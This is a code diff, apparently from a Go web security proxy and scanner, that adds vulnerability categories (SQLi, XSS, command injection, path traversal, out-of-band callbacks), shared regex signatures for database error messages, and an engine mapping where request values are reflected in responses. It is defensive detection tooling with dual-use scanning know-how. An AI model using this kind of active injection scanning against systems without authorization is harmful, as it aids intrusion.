CategoryReflection Category = "reflection"
|
||||
// CategoryDOMXSS holds runtime-confirmed DOM-based cross-site scripting: a
|
||||
// canary placed in a controllable DOM source (the URL fragment, a query
|
||||
// value, window.name) that the page's own JavaScript carried into a dangerous
|
||||
// sink. These come from internal/activescan driving a headless browser over
|
||||
// CDP, not the passive rule engine — the payload never reaches the server, so
|
||||
// no captured response could reveal it.
|
||||
CategoryDOMXSS Category = "dom-xss"
|
||||
// CategoryTemplate holds results from the template-signature rule: a crafted
|
||||
// request Joro sent whose response matched a check mined from a nuclei template
|
||||
// (an exposed file, a known-vulnerable fingerprint, a misconfiguration). It
|
||||
// names the finding class, not the mechanism — DOM XSS is also active-scanned
|
||||
// but is its own class (CategoryDOMXSS). Both come from internal/activescan,
|
||||
// not the passive engine: the probe is sent, not observed in captured traffic.
|
||||
CategoryTemplate Category = "template"
|
||||
// The injection classes below come from internal/activescan's parameter-fuzzing
|
||||
// rules: Joro injected a payload into a request parameter and confirmed the
|
||||
// vulnerability from the response (reflection/breakout, DB error, boolean or
|
||||
// timing differential, rendered expression, redirect, file contents) or an
|
||||
// out-of-band callback. Each is its own class, not the mechanism.
|
||||
CategoryReflectedXSS Category = "reflected-xss"
|
||||
CategorySQLi Category = "sqli"
|
||||
CategorySSTI Category = "ssti"
|
||||
CategoryCommandInjection Category = "command-injection"
|
||||
CategoryOpenRedirect Category = "open-redirect"
|
||||
CategoryPathTraversal Category = "path-traversal"
|
||||
// CategoryOOB holds confirmed out-of-band interactions: a callback canary
|
||||
// (sha256 of an OAST token) the callback server computed and that then appeared
|
||||
// in captured traffic. It comes from internal/oast, not the passive engine —
|
||||
// the value is proof the target reached the callback server for that probe, so
|
||||
// a reflection of it is a server-side interaction rather than an echo of input.
|
||||
CategoryOOB Category = "oob"
|
||||
)
|
||||
|
||||
// Categories lists every category. See Severities.
|
||||
var Categories = []Category{
|
||||
CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
|
||||
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
|
||||
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
|
||||
CategoryOpenRedirect, CategoryPathTraversal, CategoryOOB,
|
||||
}
|
||||
|
||||
// Valid reports whether c is a known category.
|
||||
func (c Category) Valid() bool {
|
||||
switch c {
|
||||
case CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies:
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
|
||||
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
|
||||
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
|
||||
CategoryOpenRedirect, CategoryPathTraversal, CategoryOOB:
|
||||
return true
|
||||
}
|
||||
return false
|
||||
@@ -137,7 +183,10 @@ func (c Category) Valid() bool {
|
||||
func AllCategories() []Category {
|
||||
return []Category{
|
||||
CategorySecrets, CategoryCredentials, CategoryPII, CategoryAccess,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies,
|
||||
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
|
||||
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
|
||||
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
|
||||
CategoryOpenRedirect, CategoryPathTraversal, CategoryOOB,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -389,6 +438,15 @@ type Config struct {
|
||||
// ExcludeHosts suppresses findings whose host contains any of these
|
||||
// substrings.
|
||||
ExcludeHosts []string `json:"excludeHosts"`
|
||||
|
||||
// AnomalyEnabled turns on per-host outlier detection (internal/anomaly),
|
||||
// which writes anomaly-category findings into this same store. Off by default:
|
||||
// it needs a baseline of traffic before it is useful.
|
||||
AnomalyEnabled bool `json:"anomalyEnabled"`
|
||||
// AnomalySensitivity tunes the outlier thresholds: "low" (only stark
|
||||
// outliers), "medium" (default), or "high" (more, noisier). An empty or
|
||||
// unknown value normalizes to "medium".
|
||||
AnomalySensitivity string `json:"anomalySensitivity"`
|
||||
}
|
||||
|
||||
// DefaultOHTTPContentTypes are the Oblivious HTTP media types never scanned.
|
||||
@@ -418,7 +476,9 @@ func DefaultConfig() Config {
|
||||
".mp4", ".webm", ".mp3", ".wav", ".ogg", ".avi", ".mov",
|
||||
".zip", ".gz", ".bz2", ".7z", ".rar", ".pdf", ".wasm",
|
||||
},
|
||||
ExcludeHosts: []string{},
|
||||
ExcludeHosts: []string{},
|
||||
AnomalyEnabled: false,
|
||||
AnomalySensitivity: "medium",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -441,6 +501,11 @@ func (c *Config) normalize() {
|
||||
if c.ExcludeHosts == nil {
|
||||
c.ExcludeHosts = []string{}
|
||||
}
|
||||
switch c.AnomalySensitivity {
|
||||
case "low", "medium", "high":
|
||||
default:
|
||||
c.AnomalySensitivity = "medium"
|
||||
}
|
||||
}
|
||||
|
||||
// Summary aggregates the findings store for the dashboard header and for the
|
||||
|
||||
@@ -897,30 +897,26 @@ func disclosureRules() []Rule {
|
||||
},
|
||||
|
||||
// SQL errors, one rule per engine so the finding names the DBMS.
|
||||
// Patterns are shared with the active SQLi rule via sqlerror.go so the two
|
||||
// never drift.
|
||||
sqlErr("sql-error-mysql", "MySQL error disclosed",
|
||||
"A MySQL or MariaDB error reaching the client. The message discloses fragments of the query, and because unsanitized input provoked it, marks the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`),
|
||||
"", SQLErrMySQL),
|
||||
sqlErr("sql-error-postgres", "PostgreSQL error disclosed",
|
||||
"A PostgreSQL error reaching the client. PSQLException and unterminated-string text disclose query structure and mark the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`),
|
||||
"", SQLErrPostgres),
|
||||
sqlErr("sql-error-mssql", "SQL Server error disclosed",
|
||||
"A Microsoft SQL Server error reaching the client. Unclosed-quotation and syntax-near messages disclose query structure and mark the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`),
|
||||
"", SQLErrMSSQL),
|
||||
sqlErr("sql-error-oracle", "Oracle error disclosed",
|
||||
"An Oracle ORA- error code reaching the client. The code identifies the failure precisely and marks the parameter as a SQL injection candidate.",
|
||||
"ora-",
|
||||
`\b(ORA-\d{5})\b`),
|
||||
"ora-", SQLErrOracle),
|
||||
sqlErr("sql-error-sqlite", "SQLite error disclosed",
|
||||
"A SQLite error reaching the client. Unrecognized-token and no-such-table messages disclose schema names and mark the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`),
|
||||
"", SQLErrSQLite),
|
||||
sqlErr("sql-error-odbc", "ODBC/JET database error disclosed",
|
||||
"An ODBC, JET, or DB2 error reaching the client, including PDO SQLSTATE codes. The driver-level message discloses query structure and marks the parameter as a SQL injection candidate.",
|
||||
"",
|
||||
`(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`),
|
||||
"", SQLErrODBC),
|
||||
|
||||
// Version and technology fingerprints.
|
||||
{
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
package detect
|
||||
|
||||
import "regexp"
|
||||
|
||||
// Database-error signatures, one per DBMS. These are the single source of truth
|
||||
// shared by the passive sql-error-* rules (rules_builtin.go) and the active
|
||||
// SQL-injection rule (internal/activescan/sqli), which runs them against a probe
|
||||
// response to confirm error-based SQLi. Keeping one copy stops the two from
|
||||
// drifting.
|
||||
const (
|
||||
SQLErrMySQL = `(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`
|
||||
SQLErrPostgres = `(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`
|
||||
SQLErrMSSQL = `(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`
|
||||
SQLErrOracle = `\b(ORA-\d{5})\b`
|
||||
SQLErrSQLite = `(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`
|
||||
SQLErrODBC = `(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`
|
||||
)
|
||||
|
||||
type sqlErrorSig struct {
|
||||
engine string
|
||||
re *regexp.Regexp
|
||||
}
|
||||
|
||||
var sqlErrorSigs = []sqlErrorSig{
|
||||
{"MySQL", regexp.MustCompile(SQLErrMySQL)},
|
||||
{"PostgreSQL", regexp.MustCompile(SQLErrPostgres)},
|
||||
{"SQL Server", regexp.MustCompile(SQLErrMSSQL)},
|
||||
{"Oracle", regexp.MustCompile(SQLErrOracle)},
|
||||
{"SQLite", regexp.MustCompile(SQLErrSQLite)},
|
||||
{"ODBC/JET/DB2", regexp.MustCompile(SQLErrODBC)},
|
||||
}
|
||||
|
||||
// MatchSQLError reports whether body contains a database engine's error message,
|
||||
// returning the engine name and the matched text as evidence.
|
||||
func MatchSQLError(body []byte) (engine, evidence string, ok bool) {
|
||||
for _, s := range sqlErrorSigs {
|
||||
if loc := s.re.FindString(string(body)); loc != "" {
|
||||
return s.engine, loc, true
|
||||
}
|
||||
}
|
||||
return "", "", false
|
||||
}
|
||||
@@ -0,0 +1,193 @@
|
||||
package echo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// ParseConfig is the detect configuration this engine parses with. It is not
|
||||
// the operator's detect configuration and must not be: detect.Parse fills
|
||||
// ReqBody only when ScanRequests is set, so borrowing a configuration with it
|
||||
// off would leave every body parameter unseen and the map silently half empty.
|
||||
func ParseConfig(cfg Config) detect.Config {
|
||||
return detect.Config{
|
||||
ScanRequests: true,
|
||||
MaxBodyScanBytes: cfg.MaxBodyScanBytes,
|
||||
MaxRequestBodyScanBytes: cfg.MaxRequestBodyScanBytes,
|
||||
}
|
||||
}
|
||||
|
||||
// Analyze maps one captured message. It never sends and never mutates its
|
||||
// input.
|
||||
func Analyze(r *proxy.CapturedRequest, cfg Config) *Report {
|
||||
cfg.Normalize()
|
||||
m := detect.Parse(r, ParseConfig(cfg))
|
||||
|
||||
rep := &Report{
|
||||
RequestID: r.ID,
|
||||
Seq: r.Seq,
|
||||
Host: m.Host,
|
||||
Method: r.Method,
|
||||
URL: r.URL,
|
||||
Timestamp: r.Timestamp,
|
||||
}
|
||||
|
||||
values := Walk(m, cfg)
|
||||
rep.Values = len(values)
|
||||
if len(values) == 0 {
|
||||
return rep
|
||||
}
|
||||
|
||||
// Dedupe needles: two parameters carrying the same value are one search
|
||||
// with two owners, and the automaton must not hold the same string twice.
|
||||
index := map[string][]int{}
|
||||
var needles []string
|
||||
for i, v := range values {
|
||||
if !admit(v.Value, cfg) {
|
||||
continue
|
||||
}
|
||||
if _, seen := index[v.Value]; !seen {
|
||||
needles = append(needles, v.Value)
|
||||
}
|
||||
index[v.Value] = append(index[v.Value], i)
|
||||
}
|
||||
rep.Needles = len(needles)
|
||||
|
||||
ac := newMatcher(needles)
|
||||
if ac == nil {
|
||||
return rep
|
||||
}
|
||||
|
||||
// seen keys a reflection by needle and source offset, so a region that is
|
||||
// byte-identical across two views is reported once, under the least decoded
|
||||
// transform. The identity view is searched first for exactly that reason.
|
||||
seen := map[[2]int]bool{}
|
||||
capped := false
|
||||
|
||||
record := func(buf []byte, v view, idx int32, start, end int, base int, coord string, part string, spans []ctxSpan) bool {
|
||||
if len(rep.Reflections) >= cfg.MaxReflectionsPerRequest {
|
||||
capped = true
|
||||
return false
|
||||
}
|
||||
srcStart, srcEnd := v.at(start), v.at(end)
|
||||
key := [2]int{int(idx), srcStart}
|
||||
if seen[key] {
|
||||
return true
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
s := sink{ctx: ContextHeaderValue}
|
||||
if spans != nil {
|
||||
s = sinkAt(spans, srcStart)
|
||||
}
|
||||
sur := survivedChars(v, start, end)
|
||||
// The snippet is cut from the buffer the offsets index, so it is correct
|
||||
// regardless of coord: gzip bodies share no coordinates with the raw
|
||||
// document, which is why the window cannot be reconstructed client-side.
|
||||
snip, match := buildSnippet(buf, srcStart, srcEnd)
|
||||
val := ac.needles[idx]
|
||||
for _, vi := range index[val] {
|
||||
src := values[vi]
|
||||
rep.Reflections = append(rep.Reflections, Reflection{
|
||||
Source: src.Source, Name: src.Name, Value: val,
|
||||
Transform: v.kind, Context: s.ctx, JSContext: s.js,
|
||||
Attr: s.attr, Quote: s.quote,
|
||||
Part: part, Coord: coord,
|
||||
Span: Span{Start: base + srcStart, End: base + srcEnd},
|
||||
Survived: sur,
|
||||
Breakout: breakout(s, sur),
|
||||
Confidence: confidence(val),
|
||||
RequestID: rep.RequestID, URL: rep.URL,
|
||||
Snippet: snip, SnippetMatch: match,
|
||||
})
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// The response header block: where an injected line break and an echoed
|
||||
// redirect target land, and a document a browser acts on before the body.
|
||||
if len(m.RespRawHdr) > 0 {
|
||||
for _, v := range buildViews(m.RespRawHdr, cfg) {
|
||||
ac.find(v.b, func(idx int32, s, e int) bool {
|
||||
return record(m.RespRawHdr, v, idx, s, e, 0, "raw", "response", nil)
|
||||
})
|
||||
if capped {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if m.BodyScannable && len(m.RespBody) > 0 && !capped {
|
||||
spans := classify(m.RespBody, detect.ContentTypeKeyword(m.ContentType))
|
||||
// A decompressed body shares no coordinates with the raw document, so
|
||||
// the offsets are declared against the decoded body instead of being
|
||||
// dropped: gzip is the common case and losing it would gut the map.
|
||||
base, coord := m.RespBodyStart, "raw"
|
||||
if m.RespBodyDecoded {
|
||||
base, coord = 0, "decoded-body"
|
||||
}
|
||||
for _, v := range buildViews(m.RespBody, cfg) {
|
||||
ac.find(v.b, func(idx int32, s, e int) bool {
|
||||
return record(m.RespBody, v, idx, s, e, base, coord, "response", spans)
|
||||
})
|
||||
if capped {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
rep.Truncated = capped || m.Truncated
|
||||
for _, rf := range rep.Reflections {
|
||||
if rf.Breakout {
|
||||
rep.Breakouts++
|
||||
}
|
||||
}
|
||||
sortReflections(rep.Reflections)
|
||||
return rep
|
||||
}
|
||||
|
||||
// sortReflections orders a report for display and for a stable finding
|
||||
// signature: breakouts first, then by confidence, then by position.
|
||||
func sortReflections(rs []Reflection) {
|
||||
rank := map[Confidence]int{ConfidenceHigh: 0, ConfidenceMedium: 1, ConfidenceLow: 2}
|
||||
less := func(a, b Reflection) bool {
|
||||
if a.Breakout != b.Breakout {
|
||||
return a.Breakout
|
||||
}
|
||||
if rank[a.Confidence] != rank[b.Confidence] {
|
||||
return rank[a.Confidence] < rank[b.Confidence]
|
||||
}
|
||||
if a.Span.Start != b.Span.Start {
|
||||
return a.Span.Start < b.Span.Start
|
||||
}
|
||||
return a.Name < b.Name
|
||||
}
|
||||
// Insertion sort: a report is capped at a few hundred entries and this
|
||||
// keeps the comparison in one place.
|
||||
for i := 1; i < len(rs); i++ {
|
||||
for j := i; j > 0 && less(rs[j], rs[j-1]); j-- {
|
||||
rs[j], rs[j-1] = rs[j-1], rs[j]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// HostExcluded reports whether a host is on the exclusion list. Matching is a
|
||||
// case-insensitive substring, as it is in detect, so "cdn." covers every CDN
|
||||
// host on the engagement.
|
||||
func HostExcluded(host string, exclude []string) bool {
|
||||
if len(exclude) == 0 {
|
||||
return false
|
||||
}
|
||||
h := bytes.ToLower([]byte(host))
|
||||
for _, e := range exclude {
|
||||
if e == "" {
|
||||
continue
|
||||
}
|
||||
if bytes.Contains(h, bytes.ToLower([]byte(e))) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
Loaded 100 of 277 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user